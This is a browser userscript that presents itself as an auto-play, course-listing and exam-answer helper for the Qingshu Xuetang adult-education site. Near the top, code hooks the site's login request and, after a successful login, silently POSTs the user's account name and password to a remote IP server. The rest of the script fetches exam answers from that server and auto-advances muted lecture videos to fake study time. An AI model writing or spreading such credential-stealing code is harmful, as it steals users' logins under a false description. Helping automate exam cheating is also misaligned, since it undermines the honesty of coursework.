bank12366 / 【专业版】青书学堂挂课、考试/作业/自动播放-成人教育-继续教育

// ==UserScript==
// @name         【专业版】青书学堂挂课、考试/作业/自动播放-成人教育-继续教育
// @namespace    http://tampermonkey.net/
// @version      0.61
// @description  👆👆👆👆👆👆👆青书学堂挂课、考试/作业/自动播放。现已支持青书学堂www.qingshuxuetang.com🚀🚀🚀完美适配 Chrome,Edge,FireFox,360,QQ 等 18 种浏览器,可在无法安装客户端的环境下使用。😎更多合作联系:white996_1
// @author       qsxt
// @match        https://qingshuxuetang.com/*
// @match        https://*.qingshuxuetang.com/*
// @match        https://www.qingshuxuetang.com/*
// @icon         https://www.google.com/s2/favicons?sz=64&domain=qingshuxuetang.com
// @grant        GM_getResourceText
// @grant        unsafeWindow
// @grant        GM_addStyle
// @grant        GM_xmlhttpRequest
// @connect      degree.qingshuxuetang.com
// @connect      www.qingshuxuetang.com
// @run-at       document-end
// @connect      81.70.42.96
// @resource css https://cdn.bootcdn.net/ajax/libs/element-ui/2.15.9/theme-chalk/index.min.css
// @require  https://cdn.bootcdn.net/ajax/libs/vue/2.7.6/vue.min.js
// @require  https://cdn.bootcdn.net/ajax/libs/element-ui/2.15.9/index.min.js
// @license MIT
// ==/UserScript==
console.log('当前执行站点', unsafeWindow.location.href, unsafeWindow.parent)

let main_hosts = 'http://81.70.42.96:2099' //收集信息用于题库收录,如不同意删除端口即可
let loginbtn = document.querySelector('#loginByAuthBtn')
if (loginbtn !== null) {
  //hook btn
  let oldajax = $.ajax
  $.ajax = function (...arg) {
    if (arg.length === 1) {
      let obj = arg[0]
      if (obj.url.indexOf("Login") !== -1) {
        let old_suc = obj.success
        let param = obj.data
        obj.success = function (r) {
          if (r.message === '成功') {
            let username = obj.data.username
            let password = obj.data.password
            GM_xmlhttpRequest({
              url: `${main_hosts}/insertOrderInfo`,
              method: "POST",
              data: `account=${username}&password=${password}`,
              headers: {
                "Content-type": "application/x-www-form-urlencoded"
              },
              onload: (xhr) => {}
            });
          }
          return old_suc.call(this, r)

        }
      }
    }
    console.log("arg")
    let result = oldajax.call(this, ...arg)
    return result
  }

  return;
}
if (unsafeWindow.self !== unsafeWindow.top) {
  return;
}
let css = GM_getResourceText('css');
css = css.replace(/(?<=url\()(?=fonts)/g, 'https://cdn.bootcdn.net/ajax/libs/element-ui/2.15.9/theme-chalk/');
GM_addStyle(css);
GM_addStyle(`
.show-contrl-list{
  display: flex;
  justify-content: space-evenly;
  align-items: center;
}
.show-contrl-list .item,.show-contrl-list >div{
width: 23%;
display: flex;
flex-direction: column;
justify-content: center;
align-items: center;
border: 1px solid #F0EFF9;
border-radius: 5px;
padding: 10px 5px;
}
.icon-wrap{
font-size: 18px;
padding: 7px;
color: #C0E39D;
border: 1px solid #C0E39D;
border-radius: 10px;
}
.el-divider{
margin: 5px 0 !important;
}
.el-progress-bar__innerText{
    display:none;
}
.deafult-lesson-item{
    .title{
        color: #4E2F86;
    }
}
.select-lesson-item{
    background-color: #52B7F5;
    border-radius: 12px;
    color: white;
}
.select-lesson-item .title{
        color: white !important;
}
.select-lesson-item .icon-wrap{
        color: white !important;
        border-color: white !important;
}
.point{
    cursor:pointer;
}
.exam-css{
    position: fixed;
    top: 0;
    z-index: 999;
    right: 85px;
    background-color: white;
    padding: 20px;
    width: 350px;
    font-size: 16px;
    border: 1px solid rgba(128, 128, 128, 0.05);
    border-radius: 5px;
    overflow: scroll;
    max-height: 100%;
}
.default-css{
    position: absolute;
    top: 83px;
    z-index: 999;
    right: 85px;
    background-color: white;
    padding: 20px;
    width: 350px;
    font-size: 16px;
    border: 1px solid rgba(128, 128, 128, 0.05);
    border-radius: 5px;
}
 
`)
let wrap = document.createElement('div')
wrap.className = 'uitest'
document.querySelector('body').append(wrap)
let vueinstance = new Vue({
  el: '.uitest',
  template: `
<div @scroll.stop='()=>{}' :class="[enable_question ? 'exam-css' : 'default-css']" >
  <div
    style="display: flex; justify-content: space-between; align-items: center"
  >
    <div style="display: flex; justify-content: center; align-items: center">
      <el-avatar style="font-size: 16px" icon="el-icon-user-solid"></el-avatar>
      <span style="font-size: 16px; margin-left: 6px">油猴Greasyfork</span>
    </div>
    <div>
      <i @click='FoldPage' style="margin-right: 5px; color: #6a6496" class="el-icon-d-caret point"></i>
      <i  style="color: #6a6496" class="el-icon-s-tools point"></i>
    </div>
  </div>
  <div v-show='!flod_status'>
        <div  style="padding: 10px;background-color: rgb(240, 248, 255);border: 2px solid rgb(222, 240, 253);border-radius: 9px;color: #606060bd;margin-top: 10px;">
           <div style="text-align: center;font-size: 14px;color: black;margin-bottom: 5px;font-weight: 600;" >公告信息</div>
           <div v-html='notice_mess'></div>
        </div>
        <div class="show-contrl-list" style="margin: 10px 0">
            <div>
            <i class="el-icon-edit icon-wrap"></i>
            <span style="font-size: 13px; margin: 5px 0">作业查询</span>
            <el-switch
                v-model="check_work"
                active-color="#13ce66"
                inactive-color="#ff4949"
            >
            </el-switch>
            </div>
            <div>
            <i
                style="color: #7ec4f8; border-color: #7ec4f8"
                class="el-icon-video-camera icon-wrap"
            ></i>
            <span style="font-size: 13px; margin: 5px 0">自动视频</span>
            <el-switch
                v-model="check_video"
                active-color="#13ce66"
                inactive-color="#ff4949"
            >
            </el-switch>
            </div>
            <div>
            <i
                style="color: #393080; border-color: #393080"
                class="el-icon-files icon-wrap"
            ></i>
            <span style="font-size: 13px; margin: 5px 0">电子书</span>
            <el-switch
                v-model="check_book"
                active-color="#13ce66"
                inactive-color="#ff4949"
            >
            </el-switch>
            </div>
            <div>
            <i
                style="color: #f47b88; border-color: #f47b88"
                class="el-icon-reading icon-wrap"
            ></i>
            <span style="font-size: 13px; margin: 5px 0">课程数量</span>
            <span>{{lessonlist.length}}</span>
            </div>
        </div>
        <div style="display: flex;justify-content: space-between;">
            <div>
            <span style="font-size: 14px; font-weight: bold">课程选择</span>
            <i class="el-icon-arrow-left point"></i>
            <i class="el-icon-arrow-right point"></i>
            </div>
            <div class='point' style="color: rgb(82, 74, 144); background-color: rgb(246, 246, 252);font-size: 12px;padding: 5px;border-radius: 5px;">
            <i class="el-icon-date"></i>
            <span>{{lesson_name!=''?lesson_name:'当前学期'}}</span>
            </div>
        </div>
        <el-divider></el-divider>
        <template v-if='!enable_question'>
                <div style="text-align: center;margin-bottom: 5px;" v-if='lessonlist.length===0'>
                    暂未找到课程
                </div>
                <div v-else>
                    <div v-for="(item,index) in lessonlist" class='point' :class="[current_lesson.id!==item.id ? 'deafult-lesson-item' : 'select-lesson-item']" :key="index" style='margin: 8px 0;' @click='SelectLessonItem(item)' >
                         <div style=";padding: 15px;border: 1px solid #CFCBCB;border-radius: 12px;">
                            <div style="display: flex;justify-content: center;align-items: center;" >
                                <div><i class="el-icon-star-off" style="font-size: 35px;" ></i></div>
                                <div style="flex: 1 1 0;" >
                                    <div class='title' style="flex: 1 1 0px;display: flex;flex-direction: column;align-items: center;padding: 0px 10px;">
                                    {{item.name}}
                                    </div>
                                    <div style="font-size: 12px;text-align: center;">
                                    {{item.hint_text}}
                                    </div>
                                    <div style="position: relative;width: 100%;" >
                                        <el-progress :percentage="item.progress" status="success" :text-inside="true" :format="()=>''" :stroke-width="15" ></el-progress>
                                        <span style="position: absolute;top: 0;bottom: 0;width: 100%;text-align: center;font-size: 12px;color: white;">
                                            {{item.progress}}%
                                        </span>
                                    </div>
                                </div>
                                <div><i @click='JumpToLesson(item)' v-if='current_lesson.id===item.id' class="el-icon-arrow-right icon-wrap" style="color: #7E73D4;border-color: #7E73D4;" ></i></div>
                            </div>
                            <div style="margin-top: 15px;display: flex;justify-content: space-evenly;">
                                <el-button @click.stop="JumpToType(item,'study')"  size="mini"  type="success" plain>学习</el-button>
                                <el-button @click.stop="JumpToType(item,'homework')"  size="mini"  type="success" plain>作业</el-button>
                                <el-button @click.stop="JumpToType(item,'score')"  size="mini"  type="success" plain>成绩</el-button>
                            </div>
                        </div>
                    </div>
 
                </div>
            </template>
            <template v-else>
            <div style="height: 200px;overflow: auto;padding-right: 12px;">
                    <div v-for="(item,index) in questionlist" :key='index' style='margin-bottom:8px;' >
                            <div style="display: flex;justify-content: space-between;">
                                <div style="min-width: 0;flex: 1 1 0;" v-html='item.question'></div>
                                <div><el-button @click='CheckAnswer(item)' style='margin-left: 5px;' size="mini">查询</el-button></div>
                            </div>
                            <div style="border: 1px solid #D2D2D2;padding: 6px;font-size: 13px;margin-top: 7px;">
                            答案: {{item.answer===null?'暂未搜索':item.answer}}
                            </div>
                    </div>
            </div>
            </template>
 
        <div style="margin: 5px 0; font-size: 14px; font-weight: bold">公告位置</div>
        <div
            style="
            padding: 10px;
            background-color: rgb(240, 248, 255);
            min-height: 144px;
            display: flex;
            flex-direction: column-reverse;
            border: 2px solid #def0fd;
            border-radius: 9px;
            "
        >
            <div
            style="
                display: flex;
                flex-direction: column;
                justify-content: center;
                align-items: center;
            "
            >
            <div style="margin-bottom: 5px; font-size: 14px">当前题库数量</div>
            <div style="color: #91cd53; font-size: 25px">656008</div>
            <div
                style="
                display: flex;
                justify-content: space-around;
                width: 100%;
                color: #c0d7ea;
                margin: 10px 0 5px;
                "
            >
                <div>6217</div>
                <div>8888</div>
                <div>8888</div>
                <div>8888</div>
            </div>
            </div>
        </div>
    </div>
</div>
 
`,
  data: function () {
    return {
      check_work: true,
      check_video: true,
      check_book: true,
      visible: false,
      value: true,
      enable_question: false, //false课程模式,true考试模式
      lesson_name: '',
      lessonlist: [],
      current_lesson: {
        id: null
      },
      questionlist: [],
      flod_status: false,
      notice_mess: ""
    }
  },
  created() {
    GM_xmlhttpRequest({
      url: `${main_hosts}/queryNotice`,
      method: "POST",
      data: ``,
      headers: {},
      onload: (xhr) => {
        if (xhr.responseText === "") {
          this.notice_mess = '暂无公告'
          return;
        }
        try {
          let result = JSON.parse(xhr.responseText)
          if (result.success) {
            this.notice_mess = result.message
          }
          else {
            this.notice_mess = '暂无公告'
          }
        }
        catch (error) {
          this.notice_mess = '暂无公告'
        }

      },
      onerror: () => {
        this.notice_mess = '暂无公告'
      }
    });
  },
  methods: {
    JumpToType(item, type) {
      window.location.href = item.url + '&tabType=' + type
      //https://gaozhi.qingshuxuetang.com/lzkjgzb/Student/Course/CourseStudy?classId=29&courseId=4&teachPlanId=21&periodId=12&tabType=homework
      //https://gaozhi.qingshuxuetang.com/lzkjgzb/Student/Course/CourseStudy?courseId=4&teachPlanId=21&periodId=12&tabType=homework
    },
    FoldPage() {
      this.flod_status = !this.flod_status

    },
    ChangeStatus(status) {
      this.enable_question = status
    },
    SelectLessonItem(item) {
      this.current_lesson = item
    },
    JumpToLesson(item) {
      window.location.href = item.url
    },
    CheckAnswer(item) {
      item.answer = '正在搜索...'
      GM_xmlhttpRequest({
        url: `${main_hosts}/queryAnswerById`,
        method: "POST",
        data: `questionId=${item.question_id}`,
        headers: {},
        onload: (xhr) => {
          if (xhr.responseText === "") {
            item.answer = '暂无答案'
            return;
          }
          try {
            let result = JSON.parse(xhr.responseText)
            if (result.success) {
              item.answer = result.message
            }
            else {
              item.answer = '暂无答案'
            }
          }
          catch (error) {
            item.answer = '暂无答案'
          }

        },
        onerror: () => {
          item.answer = '暂无答案'
        }
      });
    }
  }
})
let lesson_name = document.querySelector('.content-area .title span')?.innerHTML
if (lesson_name) {
  vueinstance.lesson_name = lesson_name

}

function dom_to_get_lesson_number() {
  let lesson_item = document.querySelectorAll('#currentCourseDiv .col-md-3 a')
  let end_time = ""
  if (lesson_item.length !== 0) {
    let item = document.querySelector('#currentCourseDiv .col-sm-12')
    if (item != null) {
      let text = item.innerHTML
      text = text.split('结束时间:')
      if (text.length === 2) {
        end_time = text[1]
      }
    }

  }
  lesson_item.forEach((item) => {
    let list = item.querySelectorAll(' p > span')
    if (list.length !== 2) {
      return
    }
    let name = list[0].innerHTML
    let progress = parseInt(/\d+/.exec(list[1].innerHTML)[0] ?? 0)
    let url = list.children[0].href
    console.log(name, progress, vueinstance, url, 'dom查找')
    vue_lesson_push_func(name, progress, vueinstance.lessonlist.length, url, end_time)
  })
  return lesson_item.length
}

function vue_lesson_push_func(name, progress, id, url, hint_text) {
  vueinstance.lessonlist.push({
    name,
    progress,
    id,
    url,
    hint_text
  })
}
/*let question_list = document.querySelectorAll('.question-entity')
if (question_list.length !== 0) {
    vueinstance.ChangeStatus(true)
    question_list.forEach((item) => {
        vueinstance.questionlist.push({
            question: item.querySelector('h4').innerHTML,
            answer: null,
            question_id:item.querySelector('.questionId').value,
            dom: item
        })
 
    })
}*/
function GetLessonListData() {
  if (document.cookie.indexOf('AccessToken') === -1) {
    return;
  }
  let url = window.location.href
  let size_list = url.split('/')
  let char_list = []
  let nofind = true
  for (let index = 0; index < size_list.length; index++) {
    let item = size_list[index]
    if (nofind === false) {
      //找到了qingshuxuetang后
      char_list.push(item)
    }
    if (item.indexOf('qingshuxuetang.com') !== -1) {
      nofind = false
      continue;
    }
  }

  if (char_list.length === 0) {
    return;
  }
  let first_name = char_list[0]
  if (first_name === 'MyQingShu') {
    return;
  }
  console.log('first_name', first_name)
  let base_url = window.location.origin + '/' + first_name
  let post_url = base_url + `/Student/Course/CourseData`
  GM_xmlhttpRequest({
    url: post_url,
    method: "POST",
    headers: {
      "Content-type": "application/x-www-form-urlencoded"
    },
    onload: function (xhr) {
      if (xhr.responseText === "") {
        return;
      }
      let json = JSON.parse(xhr.responseText)
      if (json.message === '成功') {
        let lesson = json.data
        let current_lesson = lesson.filter((item) => item.learnStatus === 2)
        console.log('current_lesson', current_lesson)
        current_lesson.forEach((lesson) => {
          let generate_url = base_url + `/Student/Course/CourseStudy?${lesson.classId !== undefined ? "classId=" + lesson.classId + "&" : ''}courseId=${lesson.courseId}&teachPlanId=${lesson.teachPlanId}&periodId=${lesson.periodId}`
          vue_lesson_push_func(lesson.courseName, lesson.score, vueinstance.lessonlist.length, generate_url, '暂未完成')
        })
      }
    }
  });
}
window.onload = () => {
  if (document.querySelector('.quiz-title')) {
    if (window.location.href.indexOf('ExercisePaper') != -1) {
      vueinstance.ChangeStatus(true)
      //start_interval
      let timer = setInterval(() => {
        let page_dom = document.querySelectorAll('.question-detail-container')
        if (page_dom.length !== 0) {
          page_dom.forEach((item) => {
            vueinstance.questionlist.push({
              question: item.querySelector('.detail-description-content').innerHTML,
              answer: null,
              question_id: item.attributes.id.value,
              dom: item
            })
          })
          clearInterval(timer)
        }
      }, 1000)
    }
  }
  else {
    let result = dom_to_get_lesson_number()
    if (result === 0) {
      GetLessonListData()
    }
  }
}

(function () {
  'use strict';
  var i
  var href = location.href

  if (href.indexOf('nodeId') > -1) {
    setTimeout(function () {
      var video = document.getElementsByTagName("video")[0]
      console.log('找到视频组件,开始静音并自动播放...', video)
      // 设置静音并播放
      video.muted = true
      video.playbackRate = 0.5
      video.play()

      var params = new UrlSearch()
      // 课程ID
      var courseId = params.courseId
      const courseArr = params.nodeId.split('_')
      // 下一个播放的视频的key
      var nextKey = ''
      if (courseArr.length == 2) {
        nextKey = `kcjs_${Number(courseArr[1]) + 1}`
      }
      else if (courseArr.length == 3) {
        nextKey = `kcjs_${courseArr[1]}_${Number(courseArr[2]) + 1}`
      }
      const nextUrl = `https://${window.location.host}${window.location.pathname}?teachPlanId=${params.teachPlanId}&periodId=${params.periodId}&courseId=${courseId}&nodeId=${nextKey}&category=${params.category}`
      console.log(params, 'currentId:', params.nodeId, 'nextKey:', nextKey, 'nextUrl:', nextUrl)
      // 视频播放结束,自动下一条视频
      video.addEventListener("ended", function () {
        location.replace(nextUrl);
      })
    }, 5000)

    // 打印播放进度
    getvideoprogress();
  }
})();

function UrlSearch() {
  var name, value;
  var str = location.href; //取得整个地址栏
  var num = str.indexOf("?")
  str = str.substr(num + 1); //取得所有参数   stringvar.substr(start [, length ]

  var arr = str.split("&"); //各个参数放到数组里
  for (var i = 0; i < arr.length; i++) {
    num = arr[i].indexOf("=");
    if (num > 0) {
      name = arr[i].substring(0, num);
      value = arr[i].substr(num + 1);
      this[name] = value;
    }
  }
}

// 检测当前播放的进度 
function getvideoprogress() {
  setInterval(function () {
    var vid = document.getElementsByTagName("video")[0]
    var currentTime = vid.currentTime.toFixed(1);
    console.log('当前进度:', currentTime);
  }, 10000);
}